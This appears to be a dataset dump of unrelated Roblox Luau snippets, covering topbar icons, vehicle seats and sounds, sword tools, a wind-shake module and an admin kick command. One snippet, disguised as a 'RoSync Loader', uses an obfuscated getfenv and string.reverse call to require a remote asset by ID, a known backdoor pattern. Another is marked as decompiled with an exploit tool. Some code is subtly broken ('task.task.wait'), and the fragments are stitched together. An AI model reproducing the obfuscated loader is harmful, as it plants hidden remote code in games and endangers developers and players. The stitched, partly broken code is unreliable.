-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then
if IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == "rbxassetid://5278151556" then
IconController.activeButtonBCallbacks = 0
guiService.SelectedObject = nil
end
if IconController.activeButtonBCallbacks == 0 then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setProperty("internalIcon", true)
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
-- This checks if voice chat is enabled
task.defer(function()
local success, enabledForUser
while true do
success, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)
if success then
break
end
task.task.wait(1)
end
local function checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled then
if success and enabledForUser then
voiceChatIsEnabledForUserAndWithinExperience = true
IconController.updateTopbar()
end
end
end
checkVoiceChatManuallyEnabled()
--------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE ---------------
localPlayer.PlayerGui:WaitForChild("TopbarPlus", 999)
task.delay(10, function()
checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then
warn("⚠️TopbarPlus Action Required⚠️ If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.")
end
end)
------------------------------------------------------------------------------------------------------------
end)
if not isStudio then
local ownerId = game.CreatorId
local groupService = game:GetService("GroupService")
if game.CreatorType == Enum.CreatorType.Group then
local success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end)
if success then
ownerId = ownerInfo.Id
end
end
local version = require(iconModule.VERSION)
if localPlayer.UserId ~= ownerId then
local marketplaceService = game:GetService("MarketplaceService")
local success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end)
if success and placeInfo then
-- Required attrbute for using TopbarPlus
-- This is not printed within stuido and to the game owner to prevent mixing with debug prints
local gameName = placeInfo.Name
print(("\n\n\n⚽ %s uses TopbarPlus %s\n🍍 TopbarPlus was developed by ForeverHD and the Nanoblox Team\n🚀 You can learn more and take a free copy by searching for 'TopbarPlus' on the DevForum\n\n"):format(gameName, version))
end
end
end
end)()
|
-- local tag = ball:findFirstChild("creator")
-- if tag ~= nil then
-- local new_tag = tag:clone()
-- new_tag.Parent = humanoid
-- end
--end
| |
-- character:BreakJoints()
|
end
end
function OnDie()
bindFuc:Invoke(false)
end
function checkReviving(addedGui)
if addedGui.Name == "RevivingGUI" then
end
end
local function UpdateAnimationSpeed()
local tracks = animator:GetPlayingAnimationTracks()
for i,track in pairs(tracks) do -- Loop through the table
track:AdjustSpeed(humanoid.WalkSpeed * animSpeed)
end
end
local function jump()
if player.Character ~= nil then
if not startGame then
-- Character is not yet moving, start screen was shown
doJump = false
SetStartGame(true)
if(player.PlayerGui:FindFirstChild("StartScreen") ~= nil) then
player.PlayerGui.StartScreen:Destroy()
end
game.ReplicatedStorage.RemoteEvents.RunStarting:FireServer()
else
humanoid.Jump = true
end
end
end
|
--[[
Evercyan @ March 2023
HealingFountain/Client
Handles visuals on the client-side (such as timer) when healed.
]]
| |
-- In radian the maximum accuracy penalty
|
local MaxSpread = 0.02
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
if script.Parent.L.Value == true then --because you can't get in a locked car
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
else
script.Parent.Occupied.Value = true
script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
script.Parent.Parent.Body.Dash.Odo.G.Enabled = true
script.Parent.Occupied.Value = true
if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then
script.Parent.Parent.Misc.A.arms.Shirt.ShirtTemplate = child.Part1.Parent:FindFirstChild("Shirt").ShirtTemplate
child.Part1.Parent:FindFirstChildOfClass("BodyColors"):Clone().Parent = script.Parent.Parent.Misc.A.arms
for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 0
end
end
child.Part1.Parent.LeftHand.Transparency = 1
child.Part1.Parent.LeftLowerArm.Transparency = 1
child.Part1.Parent.LeftUpperArm.Transparency = 1
child.Part1.Parent.RightHand.Transparency = 1
child.Part1.Parent.RightLowerArm.Transparency = 1
child.Part1.Parent.RightUpperArm.Transparency = 1
end
end
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Occupied.Value = false
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.Odo.G.Enabled = false
if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then
script.Parent.Parent.Misc.A.arms:FindFirstChildOfClass("BodyColors"):Destroy()
for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
end
end
child.Part1.Parent.LeftHand.Transparency = 0
child.Part1.Parent.LeftLowerArm.Transparency = 0
child.Part1.Parent.LeftUpperArm.Transparency = 0
child.Part1.Parent.RightHand.Transparency = 0
child.Part1.Parent.RightLowerArm.Transparency = 0
child.Part1.Parent.RightUpperArm.Transparency = 0
end
end
end
end
end)
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 0
local slash_damage = 0
sword = script.Parent.Handle
Tool = script.Parent
function attack()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
script.Parent.Handle.Sound:Play()
attack()
wait(.2)
Tool.Enabled = true
end
function onEquipped()
print("Running Delete")
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_SoundsMisc")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
script:WaitForChild("Rel")
script:WaitForChild("Start")
script.Parent.Values.Gear.Changed:connect(function() mult=1 end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,0,script.Rel.Volume,true)
handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false)
handler:FireServer("playSound","Rel")
car.DriveSeat:WaitForChild("Rel")
car.DriveSeat:WaitForChild("Start")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.PreOn.Value then
handler:FireServer("playSound","Start")
wait(11.5)
else
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1))
RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
end
if FE then
handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
else
car.DriveSeat.Rel.Volume = RelVolume
car.DriveSeat.Rel.Pitch = RelPitch
end
end
|
-- How many times per second the gun can fire
|
local FireRate = 1 / 1
|
-- ROBLOX deviation START: type for mock process param used added to Reporters
|
local RobloxShared = require(Packages.RobloxShared)
type Writeable = RobloxShared.Writeable
export type NodeProcessMock = {
env: {
[string]: unknown,
},
stdout: Writeable,
stderr: Writeable,
}
|
-- WorldSize -> ScreenSize
|
function ScreenSpace.WorldWidthToScreenWidth(worldWidth, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx = ScreenSpace.ViewSizeX()
--
return -(worldWidth * sx) / (2 * wfactor * depth)
end
function ScreenSpace.WorldHeightToScreenHeight(worldHeight, depth)
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local sy = ScreenSpace.ViewSizeY()
--
return -(worldHeight * sy) / (2 * hfactor * depth)
end
|
----
|
end
script.Parent.Touched:connect(onTouched)
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.voiceChatEnabled = false
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
IconController.activeButtonBCallbacks = 0
IconController.disableButtonB = false
IconController.translator = localizationService:GetTranslatorForPlayer(localPlayer)
|
--------------------------CHARACTER CONTROL-------------------------------
|
local CurrentIgnoreList: {Model}
local CurrentIgnoreTag = nil
local TaggedInstanceAddedConnection: RBXScriptConnection? = nil
local TaggedInstanceRemovedConnection: RBXScriptConnection? = nil
local function GetCharacter(): Model
return Player and Player.Character
end
local function UpdateIgnoreTag(newIgnoreTag)
if newIgnoreTag == CurrentIgnoreTag then
return
end
if TaggedInstanceAddedConnection then
TaggedInstanceAddedConnection:Disconnect()
TaggedInstanceAddedConnection = nil
end
if TaggedInstanceRemovedConnection then
TaggedInstanceRemovedConnection:Disconnect()
TaggedInstanceRemovedConnection = nil
end
CurrentIgnoreTag = newIgnoreTag
CurrentIgnoreList = {GetCharacter()}
if CurrentIgnoreTag ~= nil then
local ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)
for _, ignorePart in ipairs(ignoreParts) do
table.insert(CurrentIgnoreList, ignorePart)
end
TaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
table.insert(CurrentIgnoreList, ignorePart)
end)
TaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
for i = 1, #CurrentIgnoreList do
if CurrentIgnoreList[i] == ignorePart then
CurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]
table.remove(CurrentIgnoreList)
break
end
end
end)
end
end
local function getIgnoreList(): {Model}
if CurrentIgnoreList then
return CurrentIgnoreList
end
CurrentIgnoreList = {}
table.insert(CurrentIgnoreList, GetCharacter())
return CurrentIgnoreList
end
local function minV(a: Vector3, b: Vector3)
return Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))
end
local function maxV(a, b)
return Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))
end
local function getCollidableExtentsSize(character: Model?)
if character == nil or character.PrimaryPart == nil then return end
local toLocalCFrame = character.PrimaryPart.CFrame:inverse()
local min = Vector3.new(math.huge, math.huge, math.huge)
local max = Vector3.new(-math.huge, -math.huge, -math.huge)
for _,descendant in pairs(character:GetDescendants()) do
if descendant:IsA('BasePart') and descendant.CanCollide then
local localCFrame = toLocalCFrame * descendant.CFrame
local size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)
local vertices = {
Vector3.new( size.X, size.Y, size.Z),
Vector3.new( size.X, size.Y, -size.Z),
Vector3.new( size.X, -size.Y, size.Z),
Vector3.new( size.X, -size.Y, -size.Z),
Vector3.new(-size.X, size.Y, size.Z),
Vector3.new(-size.X, size.Y, -size.Z),
Vector3.new(-size.X, -size.Y, size.Z),
Vector3.new(-size.X, -size.Y, -size.Z)
}
for _,vertex in ipairs(vertices) do
local v = localCFrame * vertex
min = minV(min, v)
max = maxV(max, v)
end
end
end
local r = max - min
if r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end
return r
end
|
-----------------------------------------------------------------------------------------------------------------
|
local ObjectShakeAddedEvent = Instance.new("BindableEvent")
local ObjectShakeRemovedEvent = Instance.new("BindableEvent")
local ObjectShakeUpdatedEvent = Instance.new("BindableEvent")
local PausedEvent = Instance.new("BindableEvent")
local ResumedEvent = Instance.new("BindableEvent")
local WindShake = {
ObjectMetadata = {};
Octree = Octree.new();
Handled = 0;
Active = 0;
LastUpdate = os.clock();
ObjectShakeAdded = ObjectShakeAddedEvent.Event;
ObjectShakeRemoved = ObjectShakeRemovedEvent.Event;
ObjectShakeUpdated = ObjectShakeUpdatedEvent.Event;
Paused = PausedEvent.Event;
Resumed = ResumedEvent.Event;
}
export type WindShakeSettings = {
WindDirection: Vector3?,
WindSpeed: number?,
WindPower: number?,
}
function WindShake:Connect(funcName: string, event: RBXScriptSignal): RBXScriptConnection
local callback = self[funcName]
assert(typeof(callback) == "function", "Unknown function: " .. funcName)
return event:Connect(function (...)
return callback(self, ...)
end)
end
function WindShake:AddObjectShake(object: BasePart, settingsTable: WindShakeSettings?)
if typeof(object) ~= "Instance" then
return
end
if not object:IsA("BasePart") then
return
end
local metadata = self.ObjectMetadata
if metadata[object] then
return
else
self.Handled += 1
end
metadata[object] = {
Node = self.Octree:CreateNode(object.Position, object);
Settings = Settings.new(object, DEFAULT_SETTINGS);
Seed = math.random(1000) * 0.1;
Origin = object.CFrame;
}
self:UpdateObjectSettings(object, settingsTable)
ObjectShakeAddedEvent:Fire(object)
end
function WindShake:RemoveObjectShake(object: BasePart)
if typeof(object) ~= "Instance" then
return
end
local metadata = self.ObjectMetadata
local objMeta = metadata[object]
if objMeta then
self.Handled -= 1
metadata[object] = nil
objMeta.Settings:Destroy()
objMeta.Node:Destroy()
if object:IsA("BasePart") then
object.CFrame = objMeta.Origin
end
end
ObjectShakeRemovedEvent:Fire(object)
end
function WindShake:Update()
local now = os.clock()
local dt = now - self.LastUpdate
if dt < UPDATE_HZ then
return
end
self.LastUpdate = now
debug.profilebegin("WindShake")
local camera = workspace.CurrentCamera
local cameraCF = camera and camera.CFrame
debug.profilebegin("Octree Search")
local updateObjects = self.Octree:RadiusSearch(cameraCF.Position + (cameraCF.LookVector * 115), 120)
debug.profileend()
local activeCount = #updateObjects
self.Active = activeCount
if activeCount < 1 then
return
end
local step = math.min(1, dt * 8)
local cfTable = table.create(activeCount)
local objectMetadata = self.ObjectMetadata
debug.profilebegin("Calc")
for i, object in ipairs(updateObjects) do
local objMeta = objectMetadata[object]
local lastComp = objMeta.LastCompute or 0
local origin = objMeta.Origin
local current = objMeta.CFrame or origin
if (now - lastComp) > COMPUTE_HZ then
local objSettings = objMeta.Settings
local seed = objMeta.Seed
local amp = objSettings.WindPower * 0.1
local freq = now * (objSettings.WindSpeed * 0.08)
local rotX = math.noise(freq, 0, seed) * amp
local rotY = math.noise(freq, 0, -seed) * amp
local rotZ = math.noise(freq, 0, seed+seed) * amp
local offset = object.PivotOffset
local worldpivot = origin * offset
objMeta.Target = (worldpivot * CFrame.Angles(rotX, rotY, rotZ) + objSettings.WindDirection * ((0.5 + math.noise(freq, seed, seed)) * amp)) * offset:Inverse()
objMeta.LastCompute = now
end
current = current:Lerp(objMeta.Target, step)
objMeta.CFrame = current
cfTable[i] = current
end
debug.profileend()
workspace:BulkMoveTo(updateObjects, cfTable, Enum.BulkMoveMode.FireCFrameChanged)
debug.profileend()
end
function WindShake:Pause()
if self.UpdateConnection then
self.UpdateConnection:Disconnect()
self.UpdateConnection = nil
end
self.Active = 0
self.Running = false
PausedEvent:Fire()
end
function WindShake:Resume()
if self.Running then
return
else
self.Running = true
end
-- Connect updater
self.UpdateConnection = self:Connect("Update", RunService.Heartbeat)
ResumedEvent:Fire()
end
function WindShake:Init(Settings)
if self.Initialized then
return
else
self.Initialized = true
end
-- Define attributes if they're undefined.
local power = Settings.WindPower
local speed = Settings.WindSpeed
local direction = script:GetAttribute("WindDirection")
script:SetAttribute("WindPower", power)
script:SetAttribute("WindSpeed", speed)
if typeof(power) ~= "number" then
script:SetAttribute("WindPower", DEFAULT_SETTINGS.WindPower)
end
if typeof(speed) ~= "number" then
script:SetAttribute("WindSpeed", DEFAULT_SETTINGS.WindSpeed)
end
if typeof(direction) ~= "Vector3" then
script:SetAttribute("WindDirection", DEFAULT_SETTINGS.WindDirection)
end
-- Clear any old stuff.
self:Cleanup()
-- Wire up tag listeners.
local windShakeAdded = CollectionService:GetInstanceAddedSignal(COLLECTION_TAG)
self.AddedConnection = self:Connect("AddObjectShake", windShakeAdded)
local windShakeRemoved = CollectionService:GetInstanceRemovedSignal(COLLECTION_TAG)
self.RemovedConnection = self:Connect("RemoveObjectShake", windShakeRemoved)
for _,object in pairs(CollectionService:GetTagged(COLLECTION_TAG)) do
self:AddObjectShake(object)
end
-- Automatically start.
self:Resume()
end
function WindShake:Cleanup()
if not self.Initialized then
return
end
self:Pause()
if self.AddedConnection then
self.AddedConnection:Disconnect()
self.AddedConnection = nil
end
if self.RemovedConnection then
self.RemovedConnection:Disconnect()
self.RemovedConnection = nil
end
table.clear(self.ObjectMetadata)
self.Octree:ClearNodes()
self.Handled = 0
self.Active = 0
self.Initialized = false
end
function WindShake:UpdateObjectSettings(object: Instance, settingsTable: WindShakeSettings)
if typeof(object) ~= "Instance" then
return
end
if typeof(settingsTable) ~= "table" then
return
end
if (not self.ObjectMetadata[object]) and (object ~= script) then
return
end
for key, value in pairs(settingsTable) do
object:SetAttribute(key, value)
end
ObjectShakeUpdatedEvent:Fire(object)
end
function WindShake:UpdateAllObjectSettings(settingsTable: WindShakeSettings)
if typeof(settingsTable) ~= "table" then
return
end
for obj, objMeta in pairs(self.ObjectMetadata) do
for key, value in pairs(settingsTable) do
obj:SetAttribute(key, value)
end
ObjectShakeUpdatedEvent:Fire(obj)
end
end
function WindShake:SetDefaultSettings(settingsTable: WindShakeSettings)
self:UpdateObjectSettings(script, settingsTable)
end
return WindShake
|
--[[ Last synced 8/20/2021 05:48 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["RegExp"]["RegExp"])
export type RegExp = Package.RegExp
return Package
|
-- Disconnect all handlers. Since we use a linked list it suffices to clear the
-- reference to the head handler.
--[=[
Disconnects all connections from the signal.
```lua
signal:DisconnectAll()
```
]=]
|
function Signal:DisconnectAll()
local item = self._handlerListHead
while item do
item.Connected = false
item = item._next
end
self._handlerListHead = false
end
|
--Variables
|
local player = game.Players.LocalPlayer
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "kick",
Aliases = { "boot" },
Description = "Kicks a player or set of players.",
Group = "DefaultAdmin",
Args = { {
Type = "players",
Name = "players",
Description = "The players to kick."
} }
};
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -1
Tune.RCamber = -2
Tune.FToe = 0
Tune.RToe = 0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.